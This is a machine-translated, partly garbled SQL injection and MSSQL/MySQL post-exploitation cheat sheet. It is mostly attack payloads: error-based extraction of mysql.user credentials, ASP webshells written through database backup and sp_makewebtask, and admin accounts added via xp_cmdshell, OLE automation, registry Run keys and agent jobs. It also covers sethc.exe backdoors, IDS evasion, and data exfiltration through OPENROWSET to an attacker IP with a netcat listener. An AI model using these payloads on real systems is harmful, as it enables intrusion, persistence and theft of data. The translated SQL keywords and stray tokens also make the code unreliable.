For at bevæge dig gennem mappen: Opret først en midlertidig tabel: temp ; lav tabeltemperatur (id nvarchar(255), num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); – ; indsæt midlertidig executive master.dbo.xp_blank>_availablemedia; – Få alle aktuelle drev ; indsæt i temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Få en liste over undermapper ; indsæt i temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Hent katalogtræstrukturen for alle undermapper,
Sammenlæg tommerne i temperaturtabellen ; indsæt i temp(id) exec master.dbo.xp_blank>_cmdshell skriv c:\web\index.asp; – Se en fil
Indhold ; indsæt i temp(id) executive master.dbo.xp_blank>_cmdshell dir: c:\; – ; indsæt i temp(id) exec master.dbo.xp_blank>_cmdshell dir: c:\ *.asp /s/a; – ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs enum w3svc ; indsæt i temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Gældende myndighed
OFFENTLIG) Skriv til tabellen: sætning 1: og 1=(Vælg IS_blank>_SRVROLEMEMBER(sysadmin)); – Udsagn 2: og 1=(Vælg IS_blank>_SRVROLEMEMBER(serveradmin)); – Udsagn 3: og 1=(Vælg IS_blank>_SRVROLEMEMBER(setupadmin)); – Udsagn 4: og 1=(Vælg IS_blank>_SRVROLEMEMBER(sikkerhedsadministrator)); – Udsagn 5: og 1=(Vælg IS_blank>_SRVROLEMEMBER(sikkerhedsadministrator)); – Sætning 6: og 1=(Vælg IS_blank>_SRVROLEMEMBER(diskadmin)); – Udsagn 7: og 1=(Vælg IS_blank>_SRVROLEMEMBER(bulkadmin)); – Udsagn 8: og 1=(Vælg IS_blank>_SRVROLEMEMBER(bulkadmin)); – Udsagn 9: og 1=(Vælg IS_blank>_MEMBER(db_blank>_owner)); –
Skriv stien til tabellen: ; Opret tabel-dirs(paths varchar(100), id int)– ; indsæt dirs executive master.dbo.xp_blank>_dirtree c:\– og 0<> (vælg top 1 ruter fra dirs)– og 0<>(vælg top 1 stier fra di'er, hvor stier ikke er i(@Inetpub))– ; Opret tabel dirs1(paths varchar(100), id int)– ; indsæt dirs executive master.dbo.xp_blank>_dirtree e:\web– og 0<> (vælg top 1 stier fra dirs1)–
Tag backup _blank> database til en webmappe: Download ; erklære @a systemnavn; sæt @a=db_blank>_name(); Backup-database @a til disk=e:\web\down.bak; –
og 1=(Vælg top 1 navn fra(Vælg top 12 id,navn fra sysobjekter hvor xtype=char(85)) T
Orden efter ID DESC) og 1=(Vælg Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) fra sysobjects) Se også
Relaterede tabeller. og 1=(vælg user_blank>_id fra USER_blank>_LOGIN) og 0=(vælg bruger fra USER_blank>_LOGIN hvor bruger>1)
-=- wscrip{filter}t.shell eksempel -=- Oplys @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o ud exec sp_blank>_oamethod @o, løb, NULL, notepad.exe ; erklære @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, kør,
NULL, notepad.exe–
Declare @o int, @f int, @t int, @ret int Erklære @line varchar(8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 exec @ret = sp_blank>_oamethod @f, readline, @line out mens ( @ret = 0 ) Begynd Print @line exec @ret = sp_blank>_oamethod @f, readline, @line out slut
Declare @o int, @f int, @t int, @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, createtextfile, @f ud, c:\inetpub\www foo.asp root\, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>
Deklarer @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o ud exec sp_blank>_oamethod @o, register, NULL, foo, bar Executive sp_blank>_oasetproperty @o, Speed, 150 exec sp_blank>_oamethod @o, speak, NULL, alle dine sequel-servere tilhører os, 528 vent på forsinkelse 00:00:05
; Deklar @o int, @ret int executive sp_blank>_oacreate speech.voicetext, @o out exec
sp_blank>_oamethod @o, register, NULL, foo, bar executive sp_blank>_oasetproperty @o, speed, 150 executive
sp_blank>_oamethod @o, tal, NULL, alle dine efterfølgerservere tilhører os, 528 vent på forsinkelse
00:00:05–
xp_blank>_dirtree den gældende OFFENTLIGE tilladelse exec master.dbo.xp_blank>_dirtree c: Den returnerede information har to felter: undermappe, dybde. Undermappefelter
Karaktertype, dybdefeltet er formningsfeltet. Opret tabel-di'er (paths varchar(100), id int) Tabelopbygning, den tabel, der er oprettet her, er relateret til ovenstående xp_blank>_dirtree, med lige felter og samme type. indsæt dirs exec master.dbo.xp_blank>_dirtree c: Så længe vi bygger en tabel og definerer felterne, der returneres af lagringsprocessen, ligeligt
Udfør! For at opnå effekten af at skrive tabeller, trin for trin for at opnå den information, vi ønsker! Denne fejlinjektion er hovedsageligt baseret på overflow af Mysql-datatyper mysql > SELECT 18446744073709551610 * 2 ; FEJL 1690 ( 22003 ): BIGINT Unsigned værdi er uden for intervallet i '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ; FEJL 1690 ( 22003 ): BIGINT USIGNERET værdi er uden for intervallet i '(- (1) *
9223372036854775808)' Forespørg databaseversion: mysql> SELECT * 2 (hvis ((SELECT * fra (SELECT (version ()) ) s), 18446744073709551610,
18446744073709551610)); FEJL 1690 (22003): BIGINT USIGNERET værdi er uden for rækkevidde i '(2 * hvis ( Vælg ' 5.5 'fra
Dual), 18446744073709551610.18446744073709551610))' Få feltets navn: mysql> VÆLG 2 * hvis((VÆLG * fra (vælg * fra test.shop) som '' grænse 1)>(VÆLG * fra
test.shop grænse 1), 18446744073709551610, 18446744073709551610);
FEJL 1690 (22003): BIGINT USIGNERET værdi er uden for rækkevidde i '(2 * hvis((((vælg
'artikel', 'forhandler', pris' fra (vælg 'test'.'shop'.'article' SOM
'artikel', 'test'.'shop'.'forhandler' SOM 'forhandler', 'test'.'shop'.'pris' SOM 'pris' fra
'test'.'shop') grænse 1) > (vælg
'test'.'butik'.'artikel', 'test'.'butik'.'forhandler','test'.'butik'.'pris' fra 'test'.'butik' grænse
1)),18446744073709551610,18446744073709551610))' Få feltværdien:
mysql> SELECT 2 * if((SELECT * fra (select * fra (mysql.user) LIMIT 1) som '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
FEJL 1690 (22003): BIGINT USIGNERET værdi er uden for rækkevidde i '(2 * hvis((((vælg
'Localhost', 'root', '*', 'J', 'J', 'J', J', J, 'J, 'J'
Y', Y', Y', Y', Y', '', '','','0', '0', 0', 0', '0', fra dual limit 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Bemærk, at denne metode ikke virker med ældre versioner af MySQL, og du skal kende længdegrænsen på fejlmeddelelsen, da dette vil afgøre
Du kan få så lang tid, du vil: mysys / my_error.c
/* Maksimal længde af en fejlmeddelelse. Det bør holdes synkroniseret med MYSQL_ERRMSG_SIZE. */ #define ERRMSGSIZE (512)
Hvis objektet er MariaDB (en fork af Mysql), kan du se en fejlmeddelelse som denne, når du prøver ovenstående metode:
mysql> SELECT 2*(if((SELECT * fra (SELECT (version())))s), 18446744073709551610,
18446744073709551610)) FEJL 1690 (22003): BIGINT Unsigned value er uden for intervallet i '(2 * hvis(((vælg
#),18446744073709551610,18446744073709551610))'
Som løsning kan dette problem løses på følgende måde:
mysql> SELECT (I ER IKKE NULL) - -9223372036854775808 FRA (SELECT (version())i)a; FEJL 1690 (22003): BIGGINT-værdien er uden for området i '(('5.5-MariaDB' er ikke null) - -
(9223372036854775808))' Lad os nu se, om vi kan gøre vores vektor lidt kortere
//查询数据库版本
SELECT 2*(hvis(((SELECT * fra (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) = select 1E308*if((select*from(select version())x),2,2)
SELECT (I ER IKKE NULL) - -9223372036854775808 FRA (SELECT (version())i)a = vælg hvis(x,2,2)*1E308 fra(vælg version()x)y
//获取表字段名称 VÆLG 2 * hvis((VÆLG * fra (vælg * fra test.shop) som '' grænse 1)>(VÆLG * fra
test.shop grænse 1), 18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * hvis((SELECT * fra (select * fra (mysql.user) LIMIT 1) som '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user limit 0),2,2)
//获取指定字段的值 select 1E308*if((select user|| vært|| adgangskode|| file_priv fra(select*from mysql.user LIMIT
1) en grænse 1),2,2)
//获取字段个数
select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)
Nogle andre deformationer
SELECT (I ER IKKE NULL) - -9223372036854775808 FRA (SELECT (version())i)a select 1E308*if((select user|| vært|| adgangskode|| file_priv fra(select*from mysql.user LIMIT
1) en grænse 1),2,2); => vælg 2*hvis((vælg bruger|vært|adgangskode|file_priv fra(vælg*fra mysql.user LIMIT 1)en grænse
1),1e308,0); MySQL> vælg (vælg * fra MySQL.User)=1; MySQL> vælg (vælg * fra MySQL.User)in(1);
FEJL 1241 (21000): Operanden bør indeholde 42 kolonne(r) vælg 2*hvis((vælg bruger|vært|adgangskode|file_priv fra(vælg*fra mysql.user LIMIT 1)en grænse
1),1e308,0); vælg if((vælg bruger|| vært|| adgangskode|| file_priv from(select*from mysql.user LIMIT 1)a
limit 1),2,2)*1E308 SELECT (I ER IKKE NULL) - -9223372036854775808 FRA (SELECT (version())i)a vælg (x!=0x00)--9223372036854775808 fra(VÆLG version()x)y mysql> select!x-~0.FROM(select+user()x)f; FEJL 1690 (22003): BIGINT USIGNERET værdi er uden for rækkevidde i '((not('root@localhost')) - ~
(0))' 3. Vurder databasesystemet ; og (vælg antal(*) fra sysobjects)>0 mssql ; og (vælg antal(*) fra msysobjects)>0 adgang 4. Injektionsparameteren er et tegn 'og [forespørgselskriterier] og ''=' 5. Der er ingen filtrerede parametre under søgningen 'og [forespørgselskriterier] og '%25'=' 6. Gæt databasen ; og (vælg Count(*) fra [databasenavn])>0 7. Gæt feltet ; og (vælg Count (feltnavn) fra databasenavnet)>0 8. Gæt længden af rekorden i marken ; og (vælg top 1 len (feltnavn) fra databasenavn>0 9. (1) Gæt ASCII-værdien af feltet (adgang) ; og (vælg top 1 asc(mid(feltnavn, 1,1)) fra databasenavn)>0 (2) Gæt ASCII-værdien af feltet (mssql) ; og (vælg top 1 unicode(substring(feltnavn, 1,1)) fra databasenavn)>0 10. Testtilladelsesstruktur (mssql) ; og 1=(vælg IS_SRVROLEMEMBER('sysadmin')); -- ; og 1=(vælg IS_SRVROLEMEMBER('serveradmin')); -- ; og 1=(vælg IS_SRVROLEMEMBER('setupadmin')); -- ; og 1=(vælg IS_SRVROLEMEMBER('securityadmin')); -- ; og 1=(vælg IS_SRVROLEMEMBER('diskadmin')); -- ; og 1=(vælg IS_SRVROLEMEMBER('bulkadmin')); -- ; og 1=(vælg IS_MEMBER('db_owner')); -- 11. Tilføj en konto til mssql og systemet ; exec master.dbo.sp_addlogin brugernavn; -- ; exec master.dbo.sp_password null, brugernavn, adgangskode; -- ; exec master.dbo.sp_addsrvrolemember sysadmin brugernavn; -- ; exec master.dbo.xp_cmdshell 'netbrugerbruger-adgangskode /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; exec master.dbo.xp_cmdshell 'netbrugerbruger-adgangskode /tilføjelse'; -- ; exec master.dbo.xp_cmdshell 'net localgroup administrators brugernavn /add'; -- 12. (1) Gennemgå kataloget ; Opret tabel-di'er (paths varchar(100), id int) ; indsæt dirs executive master.dbo.xp_dirtree 'c:\' ; og (vælg top 1 stier fra dirs)>0 ; og (vælg top 1-stier fra di'er, hvor stier ikke er i ('stier opnået fra forrige trin'))>) (2) Gennemgå kataloget ; lav tabeltemperatur (id nvarchar(255), num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; indsæt midlertidig leder master.dbo.xp_availablemedia; -- Få alle strømdrev ; indsæt i temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Få en liste over undermapper ; indsæt i temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Hent mappetræstrukturen for alle undermapper ; indsæt i temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Se indholdet af filen 13. Lagrede procedurer i mssql xp_regenumvalues Registreringsregister-rodnøgle, børnenøgle ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' og flere
Recordset-metoden til at returnere alle nøgleværdier xp_regread Rodnøgle, børnenøgle, nøgle-værdi navn ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','CommonFilesDir' returnerer værdien af formuleringsnøglen xp_regwrite Rodnøgle, børnenøgle, værdinavn, værditype, værdi Der findes to typer værdityper, REG_SZ REG_DWORD for tegntyper og for heltal ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' er skrevet til registret xp_regdeletevalue Rodnøgle, undernøgle, værdinavn exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName' for at fjerne en værdi xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' delete-tast,
Inkluder alle værdier under den nøgle 14. mssql-backup opretter en webshell Brug modellen oprette table cmd (STR-billede); indsæt i cmd(str)-værdier ('<% Dim oscrip{filter}t %>'); Backup databasemodel til disk='c:\l.asp'; 15. MSSQL indbyggede funktioner ; og (vælg @@version)>0 for at få versionsnummeret for Windows ; og user_name()='dbo' for at afgøre, om den tilsluttede bruger af det nuværende system er SA ; og (vælg user_name())>0 Eksploderede de tilsluttede brugere af det nuværende system ; og (vælg db_name())>0 for at få den aktuelt tilsluttede database 16. Præcis webshell Brug modellen oprette table cmd (STR-billede); Indsæt i cmd(STR) værdier ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>'); Backup databasemodel til disk='g:\wwwtest\l.asp'; Når du anmoder, brug noget i stil med dette:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Få alle databasenavne, inklusive systemdatabaser –VÆLG navn FRA master.dbo.sysdatabases
– Hent alle ikke-systemdatabasenavne –vælg [navn] fra master.dbo.sysdatabases, hvor DBId>6 Ordner efter [Navn]
– Få alle oplysninger, inklusive databasefilens adresse –vælg * fra master.dbo.sysdatabases, hvor DBId>6 Ordner efter
[Navn]
Denne sætningsforespørgsel returnerer alle brugertabeller
Vælg * fra sysobjects hvor xtype='u'
Forespørg alle datatabeloplysninger i systemet
Vælg * fra sysobjects
Se på maskinens navn Vælg * fra sys.servers
Kolonneindholdsfortegnelse Executive master.dbo.xp_subdirs 'C:\'
exec master.dbo.xp_dirtree 'c:',1,1 db_owner Tilladelser kan håndhæves
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
Programkode, skrevet til webshell
exec master.dbo.xp_subdirs 'd:\web\www.xx.com'; Executive sp_makewebtask 'D:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"
Henrette mester.. xp_enumgroups
Traverse-systembrugere
Henrette mester.. xp_getnetname Få det aktuelle maskinnavn
--Oplist de faste drev på serveren sammen med den tilgængelige plads for hvert drev DBO Public
Udfør
xp_ntsec_enumdomains
-- Opret en konto for at logge ind på MSSQL Direktør master.dbo.sp_addlogin navn, pas; --
-- Angiv serverens domænenavn xp_ntsec_enumdomains // Maskinnavn //dbo offentlig
-- Stop eller start en service xp_servicecontrol 'stop', 'schedule' //schedule er servicenavnet //dbo
--Brug pid
Stop et kørende program xp_terminate_process 123 //123 er pid //dbo
-- Kun undermapper i en mappe er opført dbo.xp_subdirs 'C:' //dbo
SQL Server Metoden til åbning af xp_cmdshell i 2005 EXEC sp_configure 'vis avancerede muligheder', 1; OMKONFIGURER; EKSEKUTIV
sp_configure 'xp_cmdshell', 1; OMKONFIGURER;
SQL2005 Åbn 'OPENROWSET' Understøttede metoder: executive sp_configure 'vis avancerede muligheder', 1; OMKONFIGURER; leder sp_configure 'Ad Hoc
Distribuerede forespørgsler',1; OMKONFIGURER;
SQL2005 til at aktivere 'sp_oacreate'-understøttelse: executive sp_configure 'vis avancerede muligheder', 1; OMKONFIGURER; Ledelse
sp_configure 'Ole Automation Procedures',1; OMKONFIGURER
Sådan aktiverer du xp_cmdshell i SQL Server 2008
-- For at tillade ændringer af avancerede indstillinger. EKSEKUTIV
sp_configure 'vis avancerede muligheder', 1 GÅ -- For at opdatere den aktuelt konfigurerede værdi for
avancerede muligheder. OMKONFIGURER GÅ -- For at aktivere funktionen. EKSEKUTIV sp_configure 'xp_cmdshell', 1 GÅ -- Til
Opdater den aktuelt konfigurerede værdi for denne funktion. OMKONFIGURER GÅ
exec xp_cmdshell 'ipconfig'
I dag ville jeg ændre SA-loginadgangskoden på databaseserveren, men glemte det pludselig, så jeg måtte åbne query analyzer med hjælp fra andre konti for at ændre SA-adgangskoden
Det er meget enkelt:
Udførelse: sp_password Null,'teracypwd,'sa' Sæt SA-adgangskoden til "teracypwd"
Efter vellykket henrettelse
Der er "Kommando(er) fuldført med succes." OK!
I databasetilladelsen skal metoden til at opnå MSSQL-databaseserverens IP adskilles i databasens tilladelse
1. Lokal NC lytter til NC -VVLP 80
2.; Indsæt i
OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Netværk=DBMSSOCN; Adresse=din IP, 80; ', vælg * fra
dest_table') vælg * fra src_table; --
Vælg * fra OpenRowset
('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','vælg bruger; ')
Databaseimport og -eksport
/*不同服务器数据库之间的数据操作*/
--Opret linkserver Eksekutiv sp_addlinkedserver
'ITSV', 'SQLOLEDB', 'Remote Server Name eller IP Address' exec sp_addlinkedsrvlogin 'ITSV', 'false
',null, 'brugernavn', 'adgangskode'
--forespørgselseksempel vælg * fra ITSV.database name.dbo.table name
--import eksempel Vælg *
ind i tabellen fra ITSV.databasename.dbo.tablename
--Slet den linkede server, hvis den ikke længere er i brug i fremtiden leder sp_dropserver 'ITSV',
'droplogins'
-- Forbindelse til fjern-/LAN-data (openrowset/openquery/opendatasource) --1、openrowset
--forespørgselseksempel Vælg *
fra openrowset( 'SQLOLEDB ', 'sql server navn '; 'Brugernavn'; 'password', databasenavn.dbo.table name)
-- Generér en lokal tabel vælg * i tabellen fra openrowset( 'SQLOLEDB ', 'sql server navn '; 'Brugernavn'; 'Adgangskode', nummer
Ifølge databasenavnet.dbo. tabelnavn)
-- Importer den lokale tabel til den fjerntavle insert openrowset( 'SQLOLEDB', 'sql server name'; 'Brugernavn'; 'Adgangskoder', databaser
name.dbo.table name) Vælg *fra lokal tabel
-- Opdater lokale tabeller Opdatering B sæt b. kolonne A = a fra openrowset( 'SQLOLEDB ', 'sql server navn '; 'Brugernavn'; '
adgangskode ', databasenavn .dbo.table name) som en indre join lokal tabel b på a.kolonne1=b.kolonne1
--openquery Brug kræver oprettelse af en forbindelse
--Først opretter du en forbindelse for at oprette en linkserver leder sp_addlinkedserver 'ITSV', ' ',
'SQLOLEDB', 'fjernservernavn eller IP-adresse' --Undersøg Vælg * FRA openquery(ITSV, 'SELECT * FROM data
library.dbo.table name ') -- Importer den lokale tabel til den fjerntavle indsæt openquery(ITSV, 'SELECT * FROM database.dbo.table name') Vælg * fra lokal
Tabel --opdater lokal tabel Opdatering B sæt b. kolonne B=a FROM openquery(ITSV, 'SELECT * FROM database.dbo.tablename')
som en indre samling lokal tabel b på a. kolonne A=b. kolonne A
--3、opendatasource/openrowset VÆLG * FRA
opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; Bruger-ID=Loginnavn; Adgangskode=Adgangskode '
).test.dbo.roy_ta -- Importer den lokale tabel til den fjerntavle
Sletning og genoprettelse af xp_cmdshell
Måder at genoprette xp_cmdshell Slet den udvidede lagrede procedure xp_cmdshell
Udtalelse Direktør sp_dropextendedproc 'xp_cmdshell'
Genopret sql-sætningen i cmdshell exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Ledelse
master.dbo.add extendedproc 'xp_cmdshell','xplog70.dll'; Vælg tælling(*) fra
master.dbo.sysobjects hvor xtype='x' og Returresultatet er 1, og det er OK
Ellers skal du uploade c:\inetput\web
\xplog70.dll senere exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web xplog70.dll\
’; --
Hvis du sletter det på følgende måde Drop-procedure sp_addextendedproc Drop-procedure sp_oacreate Ledelse
sp_dropextendedproc 'xp_cmdshell'
Du kan gendanne den med følgende erklæring dbcc tilføjede extendedproc ("sp_oacreate","odsole70.dll") DBCC
addendedproc ("xp_cmdshell", "xplog70.dll")
På denne måde kan den genoprettes direkte, uanset om sp_addextendedproc eksisterer eller ej
1、 Brug xp_cmdshell: exec master.dbo.xp_cmdshell "netbrugeradministratoradministrator, admin /add" Ledelse
master.dbo.xp_cmdshell "net localgroup administrators admin /add"
I xp_cmdshell tilfælde kan du bruge sp_oacreate til at følge sp_oamethod: Oplys @object int Ledelse
sp_oacreate 'wscrip{filter}t.Shell', @object ud Eksekutiv sp_oamethod
@object,'Run', NULL,'net user admin admin /add' exec sp_oamethod @object, 'Run', NULL, 'net
localgroup Administratorer admin /add'
Bemærk: regsvr32 /s c:\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 Brug sp_oacreate og FSO Oplys @o int Ledelse sp_oacreate
'scrip{filter}ting.filesystemobject', @o ud exec sp_oamethod @o, 'copyfile', null,'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; Oplys @oo int Ledelse
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo ud Direktør sp_oamethod @oo,
'copyfile', null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
Brug xp_regwrite (db_owner, genstart påkrævet): Executive master.dbo.xp_regwrite
'hkey_local_machine',software\microsoft\windows\currentversion\
run','eadd1','reg_sz','netbrugeradministrator admin /add' Executive master.dbo.xp_regwrite
'hkey_local_machine',software\microsoft\windows\currentversion\
run','eadd2','reg_sz','net localgroup administrators admin /add' 5. Brug sp_add_job: Ledelse
master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT' Brug MSDB Exec sp_delete_job
null,'x' Leder sp_add_job 'X' Executive sp_add_jobstep
Null,'x',Null,'1','CMDEXEC','cmd /c net-brugeradmin admin /add' Ledelse sp_add_jobserver
Null, 'x', @@servername executive sp_start_job 'x'
Mange SA har haft succes med mange maskiner direkte ved at bruge sandbox-tilstanden, men jeg har aldrig øvet det, og jeg ved ikke, hvad succesraten er. Når forlængelsen fjernes, først
Genskab læse- og skrivelageret til registreringsregistret. dbcc tilføjede udvidedeproc ('xp_regread','xpstar.dll') dbcc addendedproc
('xp_regwrite','xpstar.dll')
Rettet sandkassens beskyttede tilstand Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet
\4.0\Engines','SandBoxMode','REG_DWORD',0; --
Se om værdien 'SandBoxMode' er blevet til 0.
EXECUTIVE master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', SOFTWARE
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Til sidst, kald sandkasse-tilstanden vælg * fra openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS
\system32\ias\dnary.mdb','vælg shell("cmd.exe /c netbruger bruger passwd /add")')
Hvis sandkassebeskyttelsestilstanden ikke er "slået fra", rapporteres en fejl: Server: Msg 7357, Niveau 16, Tilstand 2, Linje 1
Kunne ikke håndtere objektet 'select shell("cmd.exe /c net user user passwd /add")'. OLE DB tilbyder programmer
Forordet 'microsoft.jet.oledb.4.0' angiver, at der ikke er nogen kolonner i objektet.
OLE DB fejlsporing [Ikke-interfacefejl: OLE DB-udbyder kan ikke behandle objektet, da objektet
har nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
user passwd /add")']。
2、 Hvis .mdb ikke eksisterer, eller inputstien er forkert Server: Msg 7399, Niveau 16, Tilstand 1, Linje 1
OLE DB provider 'microsoft.jet.oledb.4.0' fejl. [OLE/DB-udbyder returnerede besked:
Filen 'C:\WINDOWS\system32\ias dnary1.mdb\' ikke fundet. ]
OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned returned
0x80004005: ]。
3. Hvis der er flere mellemrum under inputprocessen, vil der også blive rapporteret en fejl. Vær særlig opmærksom på dette, mange mennesker søger direkte efter artikler online
Indsæt det i og udfør det. Server: Msg 7357, Niveau 16, Tilstand 2, Linje 1 Kunne ikke behandle objektet 'select
shell("cmd.exe /c net user user passwd /add")'。 OLE DB-udbyderen 'microsoft.jet.oledb.4.0' angiver, at der ikke er nogen kolonner i objektet.
OLE DB fejlsporing [Ikke-interface fejl: OLE DB-udbyder kan ikke behandle objektet, da objektet har
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user user
passwd /add")']。
4、 Hvis mdb-tilladelserne og cmd.exe-tilladelserne er forkerte, vil problemet også opstå. Når MDB-tilladelserne er forkerte, Server: Eliminer
Rente 7320, Niveau 16, Stat 2, Linje 1
Han kunne ikke svare OLE DB-udbyderen 'Microsoft.Jet.OLEDB.4.0' udfører forespørgslen. [OLE/DB-udbyder returneret
message: 未知] OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Hvis nettilladelsen er forkert, er der ingen prompt.
Den sidste måde at hæve autoriteten på er at uploade systemets ias.mdb og cmd.exe under den aktuelle webmappe net.exe tre filer.
Execute select * fra openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb',vælg shell
("E:\web\cmd.exe /c E:\web\net.exe brugerbruger-passwd /add")') Tilføj en computerbruger med succes.
Opdeling af cmdshell omgår IDS Deklarér @a sysname-sæt @a='xp_'+'cmdshell' exec @a 'ipconfig' Erklære
@a sysname-sæt @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
Rediger registrerings-kapringsskift Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows
\system32\cmd.exe tændt'; --
Forespørg linkserveren markere
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess fra master.dbo.sysservers markere
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess fra master.dbo.sysservers
Forespørg linkserver2 Vælg særskilt værtsnavn,db_name(dbid),net_address,loginame,program_name fra
Mester.. SysProcesses
Forespørg linkserveren og andre indloggede brugere Vælg * fra [192.168.1.1].master.dbo.syslogins
Forespørgsel Linkserver Alle databaser vælg * fra linkedSrvWeb.master.dbo.sysdatabases
Udfør udvidet lagring på LinkServer exec [ip].master.dbo.xp_cmdshell
Forespørg alle tabeller på linkserveren Vælg * fra [ip].master.dbo.sysobjects
Vælg * fra OpenRowset
('sqloledb','server=IP; uid=bruger; pwd=adgangskode','vælg @@version')
vælg * fra openquery([LINKSERVER
navn],'vælg @@version')
vælg * fra openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
vælg * fra openquery(GM_SERVER,'select * fra sysobjects hvor xtype = (''U''')')
Vælg * fra
openquery(NDOORS,'Vælg IS_MEMBER(''db_owner'')')
Vælg * fra OpenQuery(toatdeweb,'select
srvnavn fra master.dbo.sysservers')
indsæt i opendatasource
('sqloledb','server=222.241.95.12; uid=SCD; pwd=A123520; database=hack520').hack520.dbo.zhu select
navn fra master.dbo.sysdatabases oprette database hack520 Opret TABEL zhu(navn nvarchar(256)
null); Opret TABEL J8(id int NULL,navn nvarchar(256) null);
Vælg * fra OpenQuery
(toatdeweb,'set fmtonly off exec master.dbo.xp_cmdshell ''net user'')
Exec Master.. xp_dirtree
'c:\',1,1 Udfør en forespørgselsmappe
exec links.master.. xp_cmdshell 'ipconfig'
Vælg * fra OpenQuery(toatdeweb,'set
fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')
Forbind mysql Select * fra Mem_DB. UserDB.dbo.AdminList
EKSEKUTIV MESTER.. XP_dirtree 'c:\',1,1
Leder
master.dbo.xp_cmdshell 'dir'
Vælg tælling(*) fra [angivelse] Forespørg hvor meget data der er i den aktuelle tabel
Vælg særskilt værtsnavn,db_name(dbid),net_address,loginame,program_name
fra mester.. SysProcesses
Vælg * fra GameDB01. Server01.dbo.cabal_character_table hvor navn='
Gris'
Når du sletter den, står der: Databasen bliver brugt og kan ikke slettes.
Klik på den database, du vil slette, for at åbne Event Viewer.
Input:
